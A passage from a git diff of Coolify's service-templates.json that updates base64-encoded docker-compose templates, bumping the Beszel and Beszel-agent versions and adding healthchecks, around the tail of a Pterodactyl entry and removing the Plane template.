JwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", diff --git a/templates/service-templates.json b/templates/service-templates.json index 88eddd10b..580834a21 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -3658,27 +3658,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4w